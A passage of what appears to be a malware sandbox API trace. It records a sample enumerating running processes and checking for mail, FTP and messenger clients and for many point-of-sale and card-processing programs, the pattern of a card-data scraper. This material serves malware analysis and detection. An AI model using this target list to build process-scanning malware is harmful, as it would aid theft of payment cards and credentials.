(x86)\\WindowsPowerShell\\smartftp.exe" (normalized: "c:\\program files (x86)\\windowspowershell\\smartftp.exe")) returned 0x35 [0245.260] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\WindowsPowerShell\\smartftp.exe" | out: _Dest="C:\\Program Files (x86)\\WindowsPowerShell\\smartftp.exe") returned="C:\\Program Files (x86)\\WindowsPowerShell\\smartftp.exe" [0245.260] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.260] CloseHandle (hObject=0x100) returned 1 [0245.260] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0245.261] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x97c) returned 0x100 [0245.261] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Common Files\\thunderbird.exe" (normalized: "c:\\program files (x86)\\common files\\thunderbird.exe")) returned 0x33 [0245.262] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Common Files\\thunderbird.exe" | out: _Dest="C:\\Program Files (x86)\\Common Files\\thunderbird.exe") returned="C:\\Program Files (x86)\\Common Files\\thunderbird.exe" [0245.262] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.262] CloseHandle (hObject=0x100) returned 1 [0245.262] malloc (_Size=0xd380) returned 0x1c8d3d8 [0245.263] free (_Block=0x1c846d0) [0245.263] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0245.264] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x978) returned 0x100 [0245.264] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Common Files\\trillian.exe" (normalized: "c:\\program files (x86)\\common files\\trillian.exe")) returned 0x30 [0245.264] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Common Files\\trillian.exe" | out: _Dest="C:\\Program Files (x86)\\Common Files\\trillian.exe") returned="C:\\Program Files (x86)\\Common Files\\trillian.exe" [0245.264] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.264] CloseHandle (hObject=0x100) returned 1 [0245.264] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0245.265] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb58) returned 0x100 [0245.265] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Portable Devices\\webdrive.exe" (normalized: "c:\\program files\\windows portable devices\\webdrive.exe")) returned 0x36 [0245.266] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Windows Portable Devices\\webdrive.exe" | out: _Dest="C:\\Program Files\\Windows Portable Devices\\webdrive.exe") returned="C:\\Program Files\\Windows Portable Devices\\webdrive.exe" [0245.266] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.266] CloseHandle (hObject=0x100) returned 1 [0245.266] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0245.267] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb60) returned 0x100 [0245.267] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Journal\\whatsapp.exe" (normalized: "c:\\program files\\windows journal\\whatsapp.exe")) returned 0x2d [0245.267] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Windows Journal\\whatsapp.exe" | out: _Dest="C:\\Program Files\\Windows Journal\\whatsapp.exe") returned="C:\\Program Files\\Windows Journal\\whatsapp.exe" [0245.267] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.267] CloseHandle (hObject=0x100) returned 1 [0245.267] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0245.268] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb68) returned 0x100 [0245.268] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Media Player\\winscp.exe" (normalized: "c:\\program files (x86)\\windows media player\\winscp.exe")) returned 0x36 [0245.269] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Windows Media Player\\winscp.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Media Player\\winscp.exe") returned="C:\\Program Files (x86)\\Windows Media Player\\winscp.exe" [0245.269] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.269] CloseHandle (hObject=0x100) returned 1 [0245.269] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0245.270] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb70) returned 0x100 [0245.270] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Common Files\\yahoomessenger.exe" (normalized: "c:\\program files (x86)\\common files\\yahoomessenger.exe")) returned 0x36 [0245.270] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Common Files\\yahoomessenger.exe" | out: _Dest="C:\\Program Files (x86)\\Common Files\\yahoomessenger.exe") returned="C:\\Program Files (x86)\\Common Files\\yahoomessenger.exe" [0245.270] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.270] CloseHandle (hObject=0x100) returned 1 [0245.270] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0245.271] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb78) returned 0x100 [0245.271] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Internet Explorer\\active-charge.exe" (normalized: "c:\\program files\\internet explorer\\active-charge.exe")) returned 0x34 [0245.272] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Internet Explorer\\active-charge.exe" | out: _Dest="C:\\Program Files\\Internet Explorer\\active-charge.exe") returned="C:\\Program Files\\Internet Explorer\\active-charge.exe" [0245.272] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.272] CloseHandle (hObject=0x100) returned 1 [0245.272] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0245.273] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb80) returned 0x100 [0245.273] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Uninstall Information\\accupos.exe" (normalized: "c:\\program files (x86)\\uninstall information\\accupos.exe")) returned 0x38 [0245.274] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Uninstall Information\\accupos.exe" | out: _Dest="C:\\Program Files (x86)\\Uninstall Information\\accupos.exe") returned="C:\\Program Files (x86)\\Uninstall Information\\accupos.exe" [0245.274] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.274] CloseHandle (hObject=0x100) returned 1 [0245.274] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0245.275] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb88) returned 0x100 [0245.275] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\DVD Maker\\afr38.exe" (normalized: "c:\\program files\\dvd maker\\afr38.exe")) returned 0x24 [0245.276] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\DVD Maker\\afr38.exe" | out: _Dest="C:\\Program Files\\DVD Maker\\afr38.exe") returned="C:\\Program Files\\DVD Maker\\afr38.exe" [0245.276] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.276] CloseHandle (hObject=0x100) returned 1 [0245.276] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0245.277] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb90) returned 0x100 [0245.277] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\MSBuild\\aldelo.exe" (normalized: "c:\\program files (x86)\\msbuild\\aldelo.exe")) returned 0x29 [0245.277] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\MSBuild\\aldelo.exe" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\aldelo.exe") returned="C:\\Program Files (x86)\\MSBuild\\aldelo.exe" [0245.277] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.277] CloseHandle (hObject=0x100) returned 1 [0245.277] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0245.278] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb98) returned 0x100 [0245.278] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Mail\\ccv_server.exe" (normalized: "c:\\program files (x86)\\windows mail\\ccv_server.exe")) returned 0x32 [0245.279] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Windows Mail\\ccv_server.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\ccv_server.exe") returned="C:\\Program Files (x86)\\Windows Mail\\ccv_server.exe" [0245.279] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.279] CloseHandle (hObject=0x100) returned 1 [0245.279] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0245.280] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xba0) returned 0x100 [0245.280] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\MSBuild\\centralcreditcard.exe" (normalized: "c:\\program files (x86)\\msbuild\\centralcreditcard.exe")) returned 0x34 [0245.280] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\MSBuild\\centralcreditcard.exe" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\centralcreditcard.exe") returned="C:\\Program Files (x86)\\MSBuild\\centralcreditcard.exe" [0245.280] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.280] CloseHandle (hObject=0x100) returned 1 [0245.280] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0245.281] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xba8) returned 0x100 [0245.281] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Microsoft.NET\\creditservice.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\creditservice.exe")) returned 0x36 [0245.281] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Microsoft.NET\\creditservice.exe" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\creditservice.exe") returned="C:\\Program Files (x86)\\Microsoft.NET\\creditservice.exe" [0245.281] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.281] CloseHandle (hObject=0x100) returned 1 [0245.282] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0245.282] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbb0) returned 0x100 [0245.282] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\DVD Maker\\edcsvr.exe" (normalized: "c:\\program files\\dvd maker\\edcsvr.exe")) returned 0x25 [0245.283] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\DVD Maker\\edcsvr.exe" | out: _Dest="C:\\Program Files\\DVD Maker\\edcsvr.exe") returned="C:\\Program Files\\DVD Maker\\edcsvr.exe" [0245.283] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.283] CloseHandle (hObject=0x100) returned 1 [0245.283] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0245.284] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbb8) returned 0x100 [0245.284] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Microsoft.NET\\fpos.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\fpos.exe")) returned 0x2d [0245.284] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Microsoft.NET\\fpos.exe" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\fpos.exe") returned="C:\\Program Files (x86)\\Microsoft.NET\\fpos.exe" [0245.284] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.285] CloseHandle (hObject=0x100) returned 1 [0245.285] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0245.286] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbc0) returned 0x100 [0245.286] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Sidebar\\isspos.exe" (normalized: "c:\\program files\\windows sidebar\\isspos.exe")) returned 0x2b [0245.286] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Windows Sidebar\\isspos.exe" | out: _Dest="C:\\Program Files\\Windows Sidebar\\isspos.exe") returned="C:\\Program Files\\Windows Sidebar\\isspos.exe" [0245.286] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.286] CloseHandle (hObject=0x100) returned 1 [0245.286] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0245.287] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbc8) returned 0x100 [0245.287] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\MSBuild\\mxslipstream.exe" (normalized: "c:\\program files\\msbuild\\mxslipstream.exe")) returned 0x29 [0245.287] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\MSBuild\\mxslipstream.exe" | out: _Dest="C:\\Program Files\\MSBuild\\mxslipstream.exe") returned="C:\\Program Files\\MSBuild\\mxslipstream.exe" [0245.287] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.287] CloseHandle (hObject=0x100) returned 1 [0245.287] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0245.288] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbd0) returned 0x100 [0245.288] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe" (normalized: "c:\\program files (x86)\\microsoft onedrive\\omnipos.exe")) returned 0x35 [0245.289] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe" | out: _Dest="C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe") returned="C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe" [0245.289] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.289] CloseHandle (hObject=0x100) returned 1 [0245.289] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0245.290] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbd8) returned 0x100 [0245.290] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Microsoft.NET\\spcwin.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\spcwin.exe")) returned 0x2f [0245.290] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Microsoft.NET\\spcwin.exe" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\spcwin.exe") returned="C:\\Program Files (x86)\\Microsoft.NET\\spcwin.exe" [0245.290] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.290] CloseHandle (hObject=0x100) returned 1 [0245.290] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0245.291] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbe4) returned 0x100 [0245.291] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Photo Viewer\\spgagentservice.exe" (normalized: "c:\\program files (x86)\\windows photo viewer\\spgagentservice.exe")) returned 0x3f [0245.291] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Windows Photo Viewer\\spgagentservice.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Photo Viewer\\spgagentservice.exe") returned="C:\\Program Files (x86)\\Windows Photo Viewer\\spgagentservice.exe" [0245.291] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.291] CloseHandle (hObject=0x100) returned 1 [0245.291] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0245.292] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbec) returned 0x100 [0245.292] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows NT\\utg2.exe" (normalized: "c:\\program files (x86)\\windows nt\\utg2.exe")) returned 0x2a [0245.293] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Windows NT\\utg2.exe" | out: _Dest="C:\\Program Files (x86)\\Windows NT\\utg2.exe") returned="C:\\Program Files (x86)\\Windows NT\\utg2.exe" [0245.293] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.293] CloseHandle (hObject=0x100) returned 1 [0245.293] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="heremanager.exe")) returned 1 [0245.294] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbf0) returned 0x100 [0245.294] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\DVD Maker\\heremanager.exe" (normalized: "c:\\program files\\dvd maker\\heremanager.exe")) returned 0x2a [0245.294] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\DVD Maker\\heremanager.exe" | out: _Dest="C:\\Program Files\\DVD Maker\\heremanager.exe") returned="C:\\Program Files\\DVD Maker\\heremanager.exe" [0245.294] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0245.294] CloseHandle (hObject=0x100) returned 1 [0245.294] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, 